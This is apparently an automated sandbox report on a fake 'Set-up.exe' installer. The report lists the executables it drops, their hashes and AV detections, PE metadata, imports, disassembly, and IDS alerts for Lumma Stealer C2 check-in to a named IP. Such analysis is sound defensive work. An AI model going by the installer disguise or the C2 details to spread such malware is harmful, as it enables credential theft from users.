File Type:	PNG image data, 3792 x 2093, 8-bit/color RGB, non-interlaced
Category:	dropped
Size (bytes):	6447207
Entropy (8bit):	7.998441497232368
Encrypted:	true
SSDEEP:	196608:sXKjzP/kSY5cPYsvASGkG9166F/KHaj2M:sXKjrMSY5yPoxv/XL
MD5:	B0CB3F07919BEB69B342ED871C6511A9
SHA1:	C23C0B4F9810D50ECB9EA186F57325C7B41DEEBE
SHA-256:	AB4A4A40AA1C1129150AE38AA4F939EB22B4125F6BE8F12251D7C76239B3F8F3
SHA-512:	75BD57701CAC2BE23A9A63AE414F0E019D7C69523F93B3CE6D908B76CC382D84AB1F1C2B085633D39A8E7294C1879601A1A3B03C5871BA0E35A345F559E06AA4
Malicious:	false
Preview:	.PNG........IHDR.......-.....1S.... .IDATx..;..G....+.U={.. .....H.$..gm........1c...&.r....wm..=...-F...W....ft...Y.........~.3+.....\|....?@@...o......\.._@...c....0.e..o..us).-.9~.4..:.H]..R.#M.K.!...#.s...4..G.c.#Zk.#B.s...p......R...PU....HUU..RJ.......^...Ru]..n...&w.R.WeE.DH.kB...)....!.....cRI.....d.u.....W..j..xw... .e,.....lC`....o=.^ `..d....;.nH..\|k..3..}......'Ts.....D....C..h.{......$.}w.np..h.n1..U9\F..<[...J..\..............c..f.6.g.o......$.1..^z)..8..c$./.\|3...s.9..&.\|...r....L.q..I~{)..>.uw..oY.d../..ksw..P..p.]....T.K1.R..i.........I.9B.....D@@@..a/.?.[ 8.K\|......H..X..T...4.{..c..4..!.^...}X~7.'......uc.$H................\|.{5...Q...,..{..p..]v{....m.]).....[-.{..... !l......V..W k....u....g...$....[%>^.oI.\|.......$.......$.g.@...m.hI~S;.).=...K%..H.T..d"....W.O.J.A..../%..@..J..-...ZW........oz....b.....B..x.1......>q.....[..I>..l...t..I..I..n....s....P..p...C..3..\|.(..<..3r.F7d.#..;..".p..dg.p.#4Mm........}.....A.......

C:\Users\user\AppData\Local\Temp\PSNDEYKP9CHQN0J79BBDFB.exe

Download File

Process:	C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\271185\Auckland.com
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	8767044
Entropy (8bit):	7.960152326344281
Encrypted:	false
SSDEEP:	196608:r7B6e1u5SqD6mOefSP01pbtDgGFN6sskirwDODi:roweOFCS8jbtM8N6sjYY
MD5:	51F99EDDD33CC04FB0F55F873B76D907
SHA1:	60CD79359912A9069674CEE3C5C5982A9B01CE82
SHA-256:	16E037D7B5F6A8E02B73671E1214B7979EB5D0AB0FC1106CF4C321F0FF53E13A
SHA-512:	7D2DF781963C8AC8A6F2A86EB95742AA26C932671D31DF8F09E334B2AF5E543EC3FB636ABFA4FB2512EC70126E1B9DB6DC7E9446A2A85BCA53EAFC790668964A
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 74%
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L.....f.................t...p....................@.......................................@......@...................p..q....P.......................~..XG...........................................................R..\....`.......................text....V.......X.................. ..`.itext..d....p.......\.............. ..`.data...88.......:...x..............@....bss....Xr...............................idata.......P......................@....didata......`......................@....edata..q....p......................@..@.tls.....................................rdata..]...........................@..@.reloc..............................@..B.rsrc...............................@..@....................................@..@................

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_1tesefiy.xx5.ps1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_bf0jengj.wsy.ps1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ffl0fwzv.5ma.psm1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_zig0k305.ls0.psm1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\is-81NQ0.tmp\_isetup\_isdecmp.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-POPLO.tmp\PSNDEYKP9CHQN0J79BBDFB.tmp
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	35616
Entropy (8bit):	6.953519176025623
Encrypted:	false
SSDEEP:	768:Z4NHPfHCs6GNOpiM+RFjFyzcN23A4F+OiR9riuujF+X4UriXiRF:Zanvc+R9F4s8/RiPWuUs4UWXiv
MD5:	C6AE924AD02500284F7E4EFA11FA7CFC
SHA1:	2A7770B473B0A7DC9A331D017297FF5AF400FED8
SHA-256:	31D04C1E4BFDFA34704C142FA98F80C0A3076E4B312D6ADA57C4BE9D9C7DCF26
SHA-512:	F321E4820B39D1642FC43BF1055471A323EDCC0C4CBD3DDD5AD26A7B28C4FB9FC4E57C00AE7819A4F45A3E0BB9C7BAA0BA19C3CEEDACF38B911CDF625AA7DDAE
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......g...#~..#~..#~...q.. ~..#~..!~......"~......+~......"~......"~..Rich#~..........................PE..L....[.L...........!.....6...........E.......P......................................D=...............................P.......P..(....................L.. ?...p.......................................................P...............................text....5.......6.................. ..`.rdata.......P.......:..............@..@.data...8....`.......<..............@....reloc.......p.......J..............@..B................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\is-81NQ0.tmp\_isetup\_setup64.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-POPLO.tmp\PSNDEYKP9CHQN0J79BBDFB.tmp
File Type:	PE32+ executable (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	6144
Entropy (8bit):	4.720366600008286
Encrypted:	false
SSDEEP:	96:sfkcXegaJ/ZAYNzcld1xaX12p+gt1sONA0:sfJEVYlvxaX12C6A0
MD5:	E4211D6D009757C078A9FAC7FF4F03D4
SHA1:	019CD56BA687D39D12D4B13991C9A42EA6BA03DA
SHA-256:	388A796580234EFC95F3B1C70AD4CB44BFDDC7BA0F9203BF4902B9929B136F95
SHA-512:	17257F15D843E88BB78ADCFB48184B8CE22109CC2C99E709432728A392AFAE7B808ED32289BA397207172DE990A354F15C2459B6797317DA8EA18B040C85787E
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......^...............l...............=\......=\......=\......Rich............................PE..d.....R..........#............................@.............................`.......,......................................................<!.......P..H....@..0.................................................................... ...............................text............................... ..`.rdata..\|.... ......................@..@.data...,....0......................@....pdata..0....@......................@..@.rsrc...H....P......................@..@................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\is-BEJR0.tmp\_isetup\_isdecmp.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-CH95H.tmp\PSNDEYKP9CHQN0J79BBDFB.tmp
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	35616
Entropy (8bit):	6.953519176025623
Encrypted:	false
SSDEEP:	768:Z4NHPfHCs6GNOpiM+RFjFyzcN23A4F+OiR9riuujF+X4UriXiRF:Zanvc+R9F4s8/RiPWuUs4UWXiv
MD5:	C6AE924AD02500284F7E4EFA11FA7CFC
SHA1:	2A7770B473B0A7DC9A331D017297FF5AF400FED8
SHA-256:	31D04C1E4BFDFA34704C142FA98F80C0A3076E4B312D6ADA57C4BE9D9C7DCF26
SHA-512:	F321E4820B39D1642FC43BF1055471A323EDCC0C4CBD3DDD5AD26A7B28C4FB9FC4E57C00AE7819A4F45A3E0BB9C7BAA0BA19C3CEEDACF38B911CDF625AA7DDAE
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......g...#~..#~..#~...q.. ~..#~..!~......"~......+~......"~......"~..Rich#~..........................PE..L....[.L...........!.....6...........E.......P......................................D=...............................P.......P..(....................L.. ?...p.......................................................P...............................text....5.......6.................. ..`.rdata.......P.......:..............@..@.data...8....`.......<..............@....reloc.......p.......J..............@..B................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\is-BEJR0.tmp\_isetup\_setup64.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-CH95H.tmp\PSNDEYKP9CHQN0J79BBDFB.tmp
File Type:	PE32+ executable (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	6144
Entropy (8bit):	4.720366600008286
Encrypted:	false
SSDEEP:	96:sfkcXegaJ/ZAYNzcld1xaX12p+gt1sONA0:sfJEVYlvxaX12C6A0
MD5:	E4211D6D009757C078A9FAC7FF4F03D4
SHA1:	019CD56BA687D39D12D4B13991C9A42EA6BA03DA
SHA-256:	388A796580234EFC95F3B1C70AD4CB44BFDDC7BA0F9203BF4902B9929B136F95
SHA-512:	17257F15D843E88BB78ADCFB48184B8CE22109CC2C99E709432728A392AFAE7B808ED32289BA397207172DE990A354F15C2459B6797317DA8EA18B040C85787E
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......^...............l...............=\......=\......=\......Rich............................PE..d.....R..........#............................@.............................`.......,......................................................<!.......P..H....@..0.................................................................... ...............................text............................... ..`.rdata..\|.... ......................@..@.data...,....0......................@....pdata..0....@......................@..@.rsrc...H....P......................@..@................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\is-CH95H.tmp\PSNDEYKP9CHQN0J79BBDFB.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\PSNDEYKP9CHQN0J79BBDFB.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	3367424
Entropy (8bit):	6.530011244733973
Encrypted:	false
SSDEEP:	98304:qJYVM+LtVt3P/KuG2ONG9iqLRQEd333T:7VL/tnHGYiql5l
MD5:	F809F51E678B7F2E388F8C969EF902C8
SHA1:	DC1C645533E0FD1637BF455BA69A9481E7C4B83A
SHA-256:	8D6E5513DE230109BE2238537173352832D1AEBDC7B10FAD0E59D4882812CA81
SHA-512:	C500B40B604AD6203396FCC0243CBB50EAD544586EAB2448C2C6BCC2106DFAE3777A85C344766224F5F695FA60295880623B2A97B0AAE97DC547076FA03CD067
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L.....f.......................................@..........................04.......3...@......@...................P,.n.....,.j:...P0.p.....................,.<............................p,.......................,......@,.(....................text............................. ..`.itext..$.......0................. ..`.data................*.............@....bss.....\|....+..........................idata..j:....,..<...f+.............@....didata.(....@,.......+.............@....edata..n....P,.......+.............@..@.tls....X....`,..........................rdata..]....p,.......+.............@..@.reloc..<.....,.......+.............@..B.rsrc...p....P0......./.............@..@.............04......`3.............@..@................

C:\Users\user\AppData\Local\Temp\is-POPLO.tmp\PSNDEYKP9CHQN0J79BBDFB.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\PSNDEYKP9CHQN0J79BBDFB.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	3367424
Entropy (8bit):	6.530011244733973
Encrypted:	false
SSDEEP:	98304:qJYVM+LtVt3P/KuG2ONG9iqLRQEd333T:7VL/tnHGYiql5l
MD5:	F809F51E678B7F2E388F8C969EF902C8
SHA1:	DC1C645533E0FD1637BF455BA69A9481E7C4B83A
SHA-256:	8D6E5513DE230109BE2238537173352832D1AEBDC7B10FAD0E59D4882812CA81
SHA-512:	C500B40B604AD6203396FCC0243CBB50EAD544586EAB2448C2C6BCC2106DFAE3777A85C344766224F5F695FA60295880623B2A97B0AAE97DC547076FA03CD067
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L.....f.......................................@..........................04.......3...@......@...................P,.n.....,.j:...P0.p.....................,.<............................p,.......................,......@,.(....................text............................. ..`.itext..$.......0................. ..`.data................*.............@....bss.....\|....+..........................idata..j:....,..<...f+.............@....didata.(....@,.......+.............@....edata..n....P,.......+.............@..@.tls....X....`,..........................rdata..]....p,.......+.............@..@.reloc..<.....,.......+.............@..B.rsrc...p....P0......./.............@..@.............04......`3.............@..@................

C:\Users\user\AppData\Roaming\ColorStreamLib\BrightLib.exe (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-CH95H.tmp\PSNDEYKP9CHQN0J79BBDFB.tmp
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	846325235
Entropy (8bit):	0.13954043794048707
Encrypted:	false
SSDEEP:
MD5:	6A8860A8150021B2D5B9BB707DE4FA37
SHA1:	FEB8A10FEE0388E1D93C669444F3A237C38EA5E4
SHA-256:	0CE2CDB61164F5C03D11DEF609873901F58510F764E8491B4EC1A5D3E0759E0B
SHA-512:	899CC13F5CD136D9F3D06BD13BD608CAB1DCEC1CE2F550A371C76253CFB155149A2CAE9827A365CCCFFA921A607A684DC7CD1A15645D317D7D9C199CEA1735F8
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 8%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........"w.RC..RC..RC..I..`C..I...C..[;..UC..[;..IC..RC...B..I..NC..I..{C..I..SC..I..SC..RichRC..........................PE..L....NKO......................h...................@..........................@r.......r.......@.........................................:.e..........................................................................................................text...!........................... ..`.rdata...1.......2..................@..@.data...x........,..................@....rsrc...:.e.......e.................@..@........................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\ColorStreamLib\is-LVIEF.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-CH95H.tmp\PSNDEYKP9CHQN0J79BBDFB.tmp
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	846325235
Entropy (8bit):	0.13954043794048707
Encrypted:	false
SSDEEP:
MD5:	6A8860A8150021B2D5B9BB707DE4FA37
SHA1:	FEB8A10FEE0388E1D93C669444F3A237C38EA5E4
SHA-256:	0CE2CDB61164F5C03D11DEF609873901F58510F764E8491B4EC1A5D3E0759E0B
SHA-512:	899CC13F5CD136D9F3D06BD13BD608CAB1DCEC1CE2F550A371C76253CFB155149A2CAE9827A365CCCFFA921A607A684DC7CD1A15645D317D7D9C199CEA1735F8
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 8%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........"w.RC..RC..RC..I..`C..I...C..[;..UC..[;..IC..RC...B..I..NC..I..{C..I..SC..I..SC..RichRC..........................PE..L....NKO......................h...................@..........................@r.......r.......@.........................................:.e..........................................................................................................text...!........................... ..`.rdata...1.......2..................@..@.data...x........,..................@....rsrc...:.e.......e.................@..@........................................................................................................................................................................................................................................................................................................................................................

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	4.374781442437259
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	'Set-up.exe
File size:	73'421'732 bytes
MD5:	718cd3f9c7af9f5d66be359a52d591fa
SHA1:	67e5a80879cc7e6ee2929fb54d1482d9aa5ac53d
SHA256:	522a7e03226188d88442e28eced425f155642961823eb06bead1ddabab431e5d
SHA512:	d36b5e3be074a4738c7299f074deca97dad04824e15a9b949657038d0d0c50c9b54824d2865dd5ecd5423dae083406d1b30e127383a1114b7eb3c1786d157ced
SSDEEP:	24576:rD2ewUShGJHB3wws/zxDuL13EPe86Wsm04tRlJ1/K1fk2UQtNySW3Mb3g3:PShGNJwwyzKEPeLUnJ1ykxSWcb3g3
TLSH:	CDF7122DF2782441B4575EB397E04E23ED78B941F31018E5C66DD42CB3A1A936A3B3A7
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......A{.k...8...8...8.b<8...8.b,8...8...8...8...8...8..%8...8.."8...8Rich...8........PE..L...X\|.N.................n...$...B...8.....

File Icon


Icon Hash:	ccaca4929a9e9ec8

Static PE Info

General

Entrypoint:	0x403883
Entrypoint Section:	.text
Digitally signed:	true
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE
Time Stamp:	0x4E807C58 [Mon Sep 26 13:21:28 2011 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	0
File Version Major:	5
File Version Minor:	0
Subsystem Version Major:	5
Subsystem Version Minor:	0
Import Hash:	be41bf7b8cc010b614bd36bbca606973

Authenticode Signature

Signature Valid:	false
Signature Issuer:	CN=DigiCert Trusted G4 Code Signing RSA4096 SHA384 2021 CA1, O="DigiCert, Inc.", C=US
Signature Validation Error:	The digital signature of the object did not verify
Error Number:	-2146869232
Not Before, Not After	17/08/2022 01:00:00 30/07/2025 00:59:59
Subject Chain	CN=Glarysoft Ltd, O=Glarysoft Ltd, S=Beijing, C=CN, SERIALNUMBER=91110108680456115E, OID.2.5.4.15=Private Organization, OID.1.3.6.1.4.1.311.60.2.1.1=Haidian District, OID.1.3.6.1.4.1.311.60.2.1.2=Beijing, OID.1.3.6.1.4.1.311.60.2.1.3=CN
Version:	3
Thumbprint MD5:	C4229BD22B53E32D95C0C71A271EDAA1
Thumbprint SHA-1:	61D425BC54E26E971EF09688ACD4493CF9081405
Thumbprint SHA-256:	C7C51A6D83F45F94EFE47C8DFADDE98DC41B197408DC45A5090AB5F16DC948BD
Serial:	042814369854A85F9B8F901267C03CF2

Entrypoint Preview

Instruction
sub esp, 000002D4h
push ebx
push ebp
push esi
push edi
push 00000020h
xor ebp, ebp
pop esi
mov dword ptr [esp+18h], ebp
mov dword ptr [esp+10h], 00409268h
mov dword ptr [esp+14h], ebp
call dword ptr [00408030h]
push 00008001h
call dword ptr [004080B4h]
push ebp
call dword ptr [004082C0h]
push 00000008h
mov dword ptr [00472EB8h], eax
call 00007FE7647F2E6Bh
push ebp
push 000002B4h
mov dword ptr [00472DD0h], eax
lea eax, dword ptr [esp+38h]
push eax
push ebp
push 00409264h
call dword ptr [00408184h]
push 0040924Ch
push 0046ADC0h
call 00007FE7647F2B4Dh
call dword ptr [004080B0h]
push eax
mov edi, 004C30A0h
push edi
call 00007FE7647F2B3Bh
push ebp
call dword ptr [00408134h]
cmp word ptr [004C30A0h], 0022h
mov dword ptr [00472DD8h], eax
mov eax, edi
jne 00007FE7647F043Ah
push 00000022h
pop esi
mov eax, 004C30A2h
push esi
push eax
call 00007FE7647F2811h
push eax
call dword ptr [00408260h]
mov esi, eax
mov dword ptr [esp+1Ch], esi
jmp 00007FE7647F04C3h
push 00000020h
pop ebx
cmp ax, bx
jne 00007FE7647F043Ah
add esi, 02h
cmp word ptr [esi], bx

Rich Headers

Programming Language:

[ C ] VS2008 SP1 build 30729
[IMP] VS2008 SP1 build 30729
[ C ] VS2010 SP1 build 40219
[RES] VS2010 SP1 build 40219
[LNK] VS2010 SP1 build 40219

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x9b34	0xb4	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0xf4000	0x5e26	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x4600014	0x5390
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x7a000	0x964	.ndata
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x8000	0x2d0	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x6dae	0x6e00	00499a6f70259150109c809d6aa0e6ed	False	0.6611150568181818	data	6.508529563136936	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rdata	0x8000	0x2a62	0x2c00	07990aaa54c3bc638bb87a87f3fb13e3	False	0.3526278409090909	data	4.390535020989255	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0xb000	0x67ebc	0x200	014871d9a00f0e0c8c2a7cd25606c453	False	0.203125	data	1.4308602597540492	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.ndata	0x73000	0x81000	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_CNT_UNINITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0xf4000	0x5e26	0x6000	3692de9a7bcc6175ff11dfd4c72e5f8c	False	0.8274332682291666	data	7.106768928024231	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0xfa000	0xf32	0x1000	219d2f2977ab9a40d3e0d0b64d2a430d	False	0.60009765625	data	5.514618401435881	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_ICON	0xf41f0	0x2be1	PNG image data, 64 x 64, 8-bit/color RGBA, non-interlaced	English	United States	1.0009792575447343
RT_ICON	0xf6dd4	0x2668	Device independent bitmap graphic, 48 x 96 x 32, image size 9792	English	United States	0.6841944670463792
RT_ICON	0xf943c	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 1088	English	United States	0.849290780141844
RT_DIALOG	0xf98a4	0x100	data	English	United States	0.5234375
RT_DIALOG	0xf99a4	0x11c	data	English	United States	0.6056338028169014
RT_DIALOG	0xf9ac0	0x60	data	English	United States	0.7291666666666666
RT_GROUP_ICON	0xf9b20	0x30	data	English	United States	0.875
RT_MANIFEST	0xf9b50	0x2d6	XML 1.0 document, ASCII text, with very long lines (726), with no line terminators	English	United States	0.5647382920110193

Imports

DLL	Import
KERNEL32.dll	SetFileTime, CompareFileTime, SearchPathW, GetShortPathNameW, GetFullPathNameW, MoveFileW, SetCurrentDirectoryW, GetFileAttributesW, GetLastError, CreateDirectoryW, SetFileAttributesW, Sleep, GetTickCount, GetFileSize, GetModuleFileNameW, GetCurrentProcess, CopyFileW, ExitProcess, GetWindowsDirectoryW, GetTempPathW, GetCommandLineW, SetErrorMode, lstrcpynA, CloseHandle, lstrcpynW, GetDiskFreeSpaceW, GlobalUnlock, GlobalLock, CreateThread, LoadLibraryW, CreateProcessW, lstrcmpiA, CreateFileW, GetTempFileNameW, lstrcatW, GetProcAddress, LoadLibraryA, GetModuleHandleA, OpenProcess, lstrcpyW, GetVersionExW, GetSystemDirectoryW, GetVersion, lstrcpyA, RemoveDirectoryW, lstrcmpA, lstrcmpiW, lstrcmpW, ExpandEnvironmentStringsW, GlobalAlloc, WaitForSingleObject, GetExitCodeProcess, GlobalFree, GetModuleHandleW, LoadLibraryExW, FreeLibrary, WritePrivateProfileStringW, GetPrivateProfileStringW, WideCharToMultiByte, lstrlenA, MulDiv, WriteFile, ReadFile, MultiByteToWideChar, SetFilePointer, FindClose, FindNextFileW, FindFirstFileW, DeleteFileW, lstrlenW
USER32.dll	GetAsyncKeyState, IsDlgButtonChecked, ScreenToClient, GetMessagePos, CallWindowProcW, IsWindowVisible, LoadBitmapW, CloseClipboard, SetClipboardData, EmptyClipboard, OpenClipboard, TrackPopupMenu, GetWindowRect, AppendMenuW, CreatePopupMenu, GetSystemMetrics, EndDialog, EnableMenuItem, GetSystemMenu, SetClassLongW, IsWindowEnabled, SetWindowPos, DialogBoxParamW, CheckDlgButton, CreateWindowExW, SystemParametersInfoW, RegisterClassW, SetDlgItemTextW, GetDlgItemTextW, MessageBoxIndirectW, CharNextA, CharUpperW, CharPrevW, wvsprintfW, DispatchMessageW, PeekMessageW, wsprintfA, DestroyWindow, CreateDialogParamW, SetTimer, SetWindowTextW, PostQuitMessage, SetForegroundWindow, ShowWindow, wsprintfW, SendMessageTimeoutW, LoadCursorW, SetCursor, GetWindowLongW, GetSysColor, CharNextW, GetClassInfoW, ExitWindowsEx, IsWindow, GetDlgItem, SetWindowLongW, LoadImageW, GetDC, EnableWindow, InvalidateRect, SendMessageW, DefWindowProcW, BeginPaint, GetClientRect, FillRect, DrawTextW, EndPaint, FindWindowExW
GDI32.dll	SetBkColor, GetDeviceCaps, DeleteObject, CreateBrushIndirect, CreateFontIndirectW, SetBkMode, SetTextColor, SelectObject
SHELL32.dll	SHBrowseForFolderW, SHGetPathFromIDListW, SHGetFileInfoW, ShellExecuteW, SHFileOperationW, SHGetSpecialFolderLocation
ADVAPI32.dll	RegEnumKeyW, RegOpenKeyExW, RegCloseKey, RegDeleteKeyW, RegDeleteValueW, RegCreateKeyExW, RegSetValueExW, RegQueryValueExW, RegEnumValueW
COMCTL32.dll	ImageList_AddMasked, ImageList_Destroy, ImageList_Create
ole32.dll	CoTaskMemFree, OleInitialize, OleUninitialize, CoCreateInstance
VERSION.dll	GetFileVersionInfoSizeW, GetFileVersionInfoW, VerQueryValueW

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2025-01-05T18:25:37.364323+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49737	188.114.96.3	443	TCP
2025-01-05T18:25:37.841609+0100	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.4	49737	188.114.96.3	443	TCP
2025-01-05T18:25:37.841609+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	49737	188.114.96.3	443	TCP
